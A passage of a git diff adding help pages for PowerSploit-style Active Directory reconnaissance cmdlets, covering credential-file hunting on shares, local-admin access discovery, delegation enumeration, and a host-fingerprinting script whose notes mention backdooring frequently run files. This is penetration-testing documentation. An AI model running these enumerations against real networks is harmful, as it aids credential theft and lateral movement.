+Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.FoundFile + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingFile.md b/docs/Recon/Find-InterestingFile.md new file mode 100755 index 00000000..2fe6abfc --- /dev/null +++ b/docs/Recon/Find-InterestingFile.md @@ -0,0 +1,248 @@ +# Find-InterestingFile + +## SYNOPSIS +Searches for files on the given path that match a series of specified criteria. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +## SYNTAX + +### FileSpecification (Default) +``` +Find-InterestingFile [[-Path] ] [-Include ] [-LastAccessTime ] + [-LastWriteTime ] [-CreationTime ] [-ExcludeFolders] [-ExcludeHidden] [-CheckWriteAccess] + [-Credential ] +``` + +### OfficeDocs +``` +Find-InterestingFile [[-Path] ] [-OfficeDocs] [-CheckWriteAccess] [-Credential ] +``` + +### FreshEXEs +``` +Find-InterestingFile [[-Path] ] [-FreshEXEs] [-CheckWriteAccess] [-Credential ] +``` + +## DESCRIPTION +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). +By default, hidden files/folders are included +in search results. +If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingFile -Path "C:\Backup\" +``` + +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) +``` + +Returns any files on the remote path \\\\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\\\PRIMARY.testlab.local\C$\Temp\" + +## PARAMETERS + +### -Path +UNC/local path to recursively search. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: .\ +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Include +Only return files/folders that match the specified array of strings, +i.e. +@(*.doc*, *.xls*, *.ppt*) + +```yaml +Type: String[] +Parameter Sets: FileSpecification +Aliases: SearchTerms, Terms + +Required: False +Position: Named +Default value: @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastAccessTime +Only return files with a LastAccessTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastWriteTime +Only return files with a LastWriteTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CreationTime +Only return files with a CreationTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OfficeDocs +Switch. +Search for office documents (*.doc*, *.xls*, *.ppt*) + +```yaml +Type: SwitchParameter +Parameter Sets: OfficeDocs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FreshEXEs +Switch. +Find .EXEs accessed within the last 7 days. + +```yaml +Type: SwitchParameter +Parameter Sets: FreshEXEs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeFolders +Switch. +Exclude folders from the search results. + +```yaml +Type: SwitchParameter +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeHidden +Switch. +Exclude hidden files and folders from the search results. + +```yaml +Type: SwitchParameter +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckWriteAccess +Switch. +Only returns files the current user has write access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +to connect to remote systems for file enumeration. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.FoundFile + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-LocalAdminAccess.md b/docs/Recon/Find-LocalAdminAccess.md new file mode 100755 index 00000000..f3e3b6f3 --- /dev/null +++ b/docs/Recon/Find-LocalAdminAccess.md @@ -0,0 +1,337 @@ +# Find-LocalAdminAccess + +## SYNOPSIS +Finds machines on the local domain where the current user has local administrator access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction + +## SYNTAX + +``` +Find-LocalAdminAccess [[-ComputerName] ] [-ComputerDomain ] [-ComputerLDAPFilter ] + [-ComputerSearchBase ] [-ComputerOperatingSystem ] [-ComputerServicePack ] + [-ComputerSiteName ] [-CheckShareAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. +If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" \' + 'Thomas McCarthy "smilingraccoon" \' + 'Royce Davis "r3dy" \' + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-LocalAdminAccess +``` + +Finds machines in the current domain the current user has admin access to. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-LocalAdminAccess -Domain dev.testlab.local +``` + +Finds machines in the dev.testlab.local domain the current user has admin access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred + +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckShareAccess +Switch. +Only display found shares that the local user has access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +Computer dnshostnames the current user has administrative access to. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ComputerDetail.md b/docs/Recon/Get-ComputerDetail.md new file mode 100755 index 00000000..15a3feb5 --- /dev/null +++ b/docs/Recon/Get-ComputerDetail.md @@ -0,0 +1,68 @@ +# Get-ComputerDetail + +## SYNOPSIS +This script is used to get useful information from a computer. + +Function: Get-ComputerDetail +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-ComputerDetail [-ToString] +``` + +## DESCRIPTION +This script is used to get useful information from a computer. +Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ComputerDetail +``` + +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetail -ToString +Gets information about the computer and outputs it as raw text. + +## PARAMETERS + +### -ToString +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +## RELATED LINKS + +[Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell](Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell) + diff --git a/docs/Recon/Get-Domain.md b/docs/Recon/Get-Domain.md new file mode 100755 index 00000000..aa8098ce --- /dev/null +++ b/docs/Recon/Get-Domain.md @@ -0,0 +1,81 @@ +# Get-Domain + +## SYNOPSIS +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-Domain [[-Domain] ] [-Credential ] +``` + +## DESCRIPTION +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Domain -Domain testlab.local +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain name to query for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +## NOTES + +## RELATED LINKS + +[http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG](http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG) + diff --git a/docs/Recon/Get-DomainComputer.md b/docs/Recon/Get-DomainComputer.md new file mode 100755 index 00000000..562f7698 --- /dev/null +++ b/docs/Recon/Get-DomainComputer.md @@ -0,0 +1,426 @@ +# Get-DomainComputer + +## SYNOPSIS +Return all computers or specific computer objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainComputer [[-Identity] ] [-Unconstrained] [-TrustedToAuth] [-Printers] [-SPN ] + [-OperatingSystem ] [-ServicePack ] [-SiteName ] [-Ping] [-Domain ] + [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all computer objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainComputer +``` + +Returns the current computers in current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer -SPN mssql* -Domain testlab.local +``` + +Returns all MS SQL servers in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained +``` + +Search the specified OU for computeres that allow unconstrained delegation. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +WINDOWS10$), DistinguishedName (e.g. +CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. +4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. +windows10.testlab.local). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: SamAccountName, Name, DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Unconstrained +Switch. +Return computer objects that have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TrustedToAuth +Switch. +Return computer objects that are trusted to authenticate for other principals. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Printers +Switch. +Return only printers. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SPN +Return computers with a specific service principal name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePrincipalName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OperatingSystem +Return computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServicePack +Return computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SiteName +Return computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Ping +Switch. +Ping each host to ensure it's up before enumerating. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Computer + +Custom PSObject with translated computer property fields. + +PowerView.Computer.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainController.md b/docs/Recon/Get-DomainController.md new file mode 100755 index 00000000..3d15f5c4 --- /dev/null +++ b/docs/Recon/Get-DomainController.md @@ -0,0 +1,132 @@ +# Get-DomainController + +## SYNOPSIS +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +## SYNTAX + +``` +Get-DomainController [[-Domain] ] [-Server ] [-LDAP] [-Credential ] +``` + +## DESCRIPTION +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. +The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainController -Domain 'test.local' +``` + +Determine the domain controllers for 'test.local'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainController -Domain 'test.local' -LDAP +``` + +Determine the domain controllers for 'test.local' using LDAP queries. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'test.local' | Get-DomainController +``` + +Determine the domain controllers for 'test.local'. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +## PARAMETERS + +### -Domain +The domain to query for domain controllers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +Switch. +Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDFSShare.md b/docs/Recon/Get-DomainDFSShare.md new file mode 100755 index 00000000..ce332754 --- /dev/null +++ b/docs/Recon/Get-DomainDFSShare.md @@ -0,0 +1,202 @@ +# Get-DomainDFSShare + +## SYNOPSIS +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domain. + +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +## SYNTAX + +``` +Get-DomainDFSShare [[-Domain] ] [[-SearchBase] ] [[-Server] ] + [[-SearchScope] ] [[-ResultPageSize] ] [[-ServerTimeLimit] ] [-Tombstone] + [[-Credential] ] [[-Version] ] +``` + +## DESCRIPTION +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDFSShare +``` + +Returns all distributed file system shares for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDFSShare -Domain testlab.local +``` + +Returns all distributed file system shares for the 'testlab.local' domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + 